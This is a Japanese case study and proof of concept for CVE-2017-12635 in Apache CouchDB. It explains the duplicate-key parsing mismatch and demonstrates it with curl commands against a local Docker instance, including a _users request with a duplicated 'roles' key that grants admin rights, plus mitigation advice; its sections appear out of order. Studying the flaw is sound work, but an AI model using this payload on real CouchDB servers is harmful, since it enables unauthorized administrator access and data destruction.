
CVE-2017-12635のケーススタディとPOC: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - リモート権限昇格
CVE-2017-12635のケーススタディとPoC (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - リモート特権昇格
Apache CouchDBは、Erlangで実装されたドキュメント指向のNoSQLデータベースです。
CouchDBはデータの保存、転送、処理に複数のフォーマットとプロトコルを使用しており、データの保存にはJSON、MapReduceを用いたクエリ言語としてJavaScript、APIにはHTTPを使用しています。
CouchDBは単一ノードデータベースとしても、クラスターとしても使用できます。
ErlangベースのJSONパーサーとJavaScriptベースのJSONパーサーの間の不一致により、CouchDB 1.7.0未満および2.x 2.1.1未満には脆弱性が存在し、一般ユーザーが_usersドキュメントにデータベース内のアクセス制御に使用されるrolesキーを重複させて送信することで、特権を昇格できる可能性がありました。これには管理ユーザーを示す特別なケースである_adminロールも含まれます。
つまり、この脆弱性により、一般ユーザーが自分自身に管理者権限を付与できるようになります。
デフォルトでは、CouchDBはすべてのリクエストを誰でも行えるように許可しています。すべてのユーザーが何でもできる権限を持っています。
CouchDBには、CouchDBインストールに対して何でも実行できる管理者ユーザー(管理者、スーパーユーザー、rootなど)の概念があります。デフォルトでは、すべてのユーザーが管理者です。これを変更したい場合は、ユーザー名とパスワードを資格情報として持つ特定の管理者ユーザーを作成できます。
CouchDBはまた、管理者ユーザーのみが実行できるリクエストのセットを定義しています。詳細については公式ドキュメントを参照してください。
CouchDBには、登録されたすべてのユーザーをJSONドキュメントとして保存する特別な認証データベースがあります。
CouchDBは、登録ユーザーに関する情報を保存するために特別なデータベース(デフォルトでは_usersと呼ばれる)を使用します。これはシステムデータベースであり、共通のデータベースAPIを共有する一方で、特別なセキュリティ関連の制約と、ドキュメント構造に関する合意が適用されます。
管理者のみが_usersデータベース内の任意のドキュメントをGET、PUT、またはDELETEできます。
ユーザーは自分が所有するドキュメントにのみアクセス(GET /_users/org.couchdb.user:<username>)または変更(PUT /_users/org.couchdb.user:<username>)できます。
各CouchDBユーザーはドキュメント形式で保存されます。これらのドキュメントには、CouchDBが正しい認証プロセスを処理するために必要な必須フィールドがいくつか含まれています。ここで注目するのはrolesフィールドです。
rolesフィールドはユーザーロールのリストです。CouchDBには組み込みロールがないため、必要に応じて独自のロールを自由に定義できます。ただし、ここに_adminなどのシステムロールを設定することはできません。また、管理者のみがユーザーにロールを割り当てることができます。デフォルトでは、すべてのユーザーにはロールがありません。
CouchDBはErlangで記述されていますが、ユーザーはJavaScriptでドキュメント検証スクリプトを指定できます。これらのスクリプトはドキュメントが作成または更新されたときに自動的に評価されます。新しいプロセスで開始され、Erlang側からJSONシリアライズされたドキュメントが渡されます。
CouchDBは関数とドキュメントをJavaScriptインタプリタに送信します。このメカニズムにより、ユーザーはJavaScriptでドキュメント検証関数を記述できます。validate_doc_update関数は、作成または更新される各ドキュメントに対して実行されます。検証関数が例外をスローすると更新は拒否され、スローしなければ更新が受け入れられます。
CouchDBはvalidate_doc_update関数を使用して、無効または許可されていないドキュメント更新が実行されるのを防ぎます。
function(newDoc, oldDoc, userCtx, secObj) {...}
引数:
newDoc – 保存されるドキュメントの新しいバージョンoldDoc – 既に保存されているドキュメントの以前のバージョンuserCtx – ユーザーコンテキストオブジェクトsrcObj – セキュリティオブジェクトこの関数には、更新リクエストからの新しいドキュメント、データベースに保存されている現在のドキュメント、ドキュメントを書き込むユーザーに関する情報を含むユーザーコンテキストオブジェクト(存在する場合)、およびデータベースセキュリティロールのリストを含むセキュリティオブジェクトが渡されます。
CouchDBが内部的に使用するJSONパーサーはjiffyであり、JavaScriptの検証スクリプトで使用されるものはJSONです。
問題は、重複するキーを処理する際にJSONとjiffyの間に不一致があることです。
特定のキーに対して、Erlangパーサーは両方の値を保存しますが、JavaScriptパーサーは最後の値のみを保存します。
例えば、両方のパーサーで{"name":"John", "name":"Jane"}を解析すると次のようになります:
jiffyを使用: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSONを使用: {name: "Jane"}CouchDBのデータ内部表現に対するゲッター関数は、最初の値のみを返します。
重複したrolesキーを持つユーザーを作成することで、関連するすべての入力検証を回避し、管理者ユーザーを作成できます。
新しいユーザーのドキュメントは次のようになります: {..., "roles": ["_admin"], "roles": [], ...}。
CouchDBのデータ内部表現に対するゲッター関数は最初の値のみを返します。その結果、Erlangの世界では自分が_adminロールを持っているように見えますが、JavaScriptの世界では特別な権限がないように見えます。
攻撃者にとって幸運なことに、認証と認可に関する重要なロジックのほとんどは、入力検証スクリプトを除き、CouchDBのErlang部分で行われます。
このデモでは、公式リポジトリcouchdbのDockerイメージを使用します。API呼び出しを行うにはHTTPクライアントが必要で、それにはcURLを使用します。
このデモには任意のオペレーティングシステムを使用できます。
前提条件:
脆弱性を悪用するために実行するコマンドは次のとおりです:
couchdb公式イメージに基づくコンテナを作成する
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
CouchDBのバージョン1.6.1には脆弱性があるため、1.6.1タグを選択しました。
CouchDBインスタンスが起動して動作していることを確認する
curl -X GET http://localhost:5984
クエリ: インスタンス内のすべてのデータベース
curl -X GET http://localhost:5984/_all_dbs
クエリ: recordsという名前の新しいデータベースを作成する
curl -X PUT http://localhost:5984/records
クエリ: recordsデータベースが作成されたことを確認する
curl -X GET http://localhost:5984/_all_dbs
デフォルトのCouchDBインストールは接続するすべてのユーザーに管理者レベルのアクセスを提供するため、CouchDBインスタンスからすべてのレコードを取得、追加、削除することもできます。この構成はAdmin Partyとして知られています。最初の管理者アカウントを作成するだけで、そのパーティを終了させることができます。
クエリ: 資格情報admin:adminで管理者アカウントを作成する
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
このデモは、任意のユーザーが管理者ロールを持つアカウントを作成し、あたかも管理者であるかのようにデータベースに対して操作できることを示しました。
CouchDBインスタンスには2種類の区別があります:
デフォルトでは、CouchDBインスタンスは匿名ユーザーからリクエストを受け付けることができます。許可されるリクエストがすべて認証済みユーザーからのものであることを保証するには、データベース設定ファイルでrequire_valid_userをtrueに設定します。これにより、匿名ユーザーからのリクエストは許可されず、全員が認証されなければなりません。
悪意のあるユーザーが脆弱性を悪用するのを防ぐために、以下にいくつかの手順を示します。これは、2.1.1以降または1.7.1以降ではないすべてのCouchDB 1.xおよび2.xユーザーに有効です。
パブリックCouchDBインスタンス:
require_valid_userを有効にしており、すべてのユーザーをデータベース管理者およびサーバーシェルアクセスに関して信頼している場合: 問題はありません。内部CouchDBインスタンス:
require_valid_userを有効にしており、すべてのユーザーをデータベース管理者およびサーバーシェルアクセスに関して信頼している場合: 問題はありません。require_valid_userを無効にしており、すべてのユーザーをデータベース管理者およびサーバーシェルアクセスに関して信頼している場合: require_valid_userを有効にしてください。API: アプリケーションプログラミングインターフェース(API)は、ソフトウェアの実装と保守を簡素化することを目的として、コンピュータプログラムの異なる部分間のインターフェースまたは通信プロトコルです。
Erlang: Erlangは、汎用の並行処理関数型プログラミング言語であり、ガベージコレクション付きランタイムシステムです。
HTTP: Hypertext Transfer Protocol(HTTP)は、分散型、協調型のハイパーメディア情報システムのためのアプリケーションプロトコルです。HTTPはWorld Wide Webにおけるデータ通信の基盤であり、ハイパーテキスト文書にはユーザーが簡単にアクセスできる他のリソースへのハイパーリンクが含まれています。
JSON: JavaScript Object Notation(JSON)は、人間が読めるテキストを使用して属性と値のペアおよび配列データ型(またはその他のシリアライズ可能な値)からなるデータオブジェクトを送信する、オープンスタンダードのファイル形式またはデータ交換形式です。これは非常に一般的なデータ形式であり、AJAXシステムにおけるXMLの代替など、多様な用途があります。
MapReduce: MapReduceは、クラスター上での並列分散アルゴリズムを使用して大規模データセットを処理および生成するためのプログラミングモデルと関連する実装です。
NoSQL: NoSQLデータベースは、リレーショナルデータベースで使用されるテーブル関係以外の方法でモデル化されたデータの保存と検索のメカニズムを提供します。
PoC: 概念実証(PoC)は、特定の方法やアイデアの実現可能性を示すための実装、またはいくつかの概念や理論に実用的な可能性があることを検証することを目的とした原理のデモンストレーションです。
特権昇格: 特権昇格とは、オペレーティングシステムやソフトウェアアプリケーションのバグ、設計上の欠陥、構成の見落としを悪用して、通常はアプリケーションやユーザーから保護されているリソースへの昇格されたアクセスを得る行為です。
クエリ: new_recordsという名前の新しいデータベースを作成する
curl -X PUT http://localhost:5984/new_records
おっと! 最初の管理者アカウントが作成されたことでAdmin Partyが終了したため、新しいデータベースを作成できなくなりました。
クエリ: 管理者認証を使用してnew_recordsという名前の新しいデータベースを作成する
curl -X PUT http://admin:admin@localhost:5984/new_records
クエリ: _usersデータベースに新しいドキュメントを作成する
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
ここでは_usersデータベースに新しいドキュメントを作成できますが、引数に制限があります。
前述のようにrolesフィールドを重複させることで、制限を回避できます。
クエリ: new_recordsという名前のデータベースを削除する
curl -X DELETE http://localhost:5984/new_records
おっと! 管理者ロールがないため削除できません。
クエリ: ゲスト認証を使用してnew_recordsという名前のデータベースを削除する
curl -X DELETE http://guest:guest@localhost:5984/new_records
ビンゴ! ゲストアカウントは通常のユーザーとして作成されているにもかかわらず、データベースを削除できました。